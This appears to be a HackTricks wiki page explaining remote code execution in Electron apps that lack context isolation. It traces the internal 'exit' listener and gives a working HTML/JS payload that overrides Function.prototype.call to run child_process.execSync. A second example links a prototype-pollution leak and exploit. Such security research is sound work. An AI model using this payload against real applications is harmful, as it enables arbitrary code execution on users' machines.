# Electron contextIsolation RCE via Electron internal code

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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</details>

## Example 1

Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

```javascript
process.on('exit', function (){
    for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
    }
})
```

{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}

![](<../../../.gitbook/assets/image (1067).png>)

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

![](<../../../.gitbook/assets/image (790).png>)

Where "self" is Node's process object:

![](<../../../.gitbook/assets/image (697).png>)

The process object has a references to "require" function:

```
process.mainModule.require
```

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

```html
<script>
Function.prototype.call = function(process){
    process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```

## Example 2

Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)

Leak:

<figure><img src="../../../.gitbook/assets/image (276).png" alt=""><figcaption></figcaption></figure>

Exploit:

<figure><img src="../../../.gitbook/assets/image (86).png" alt=""><figcaption></figcaption></figure>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>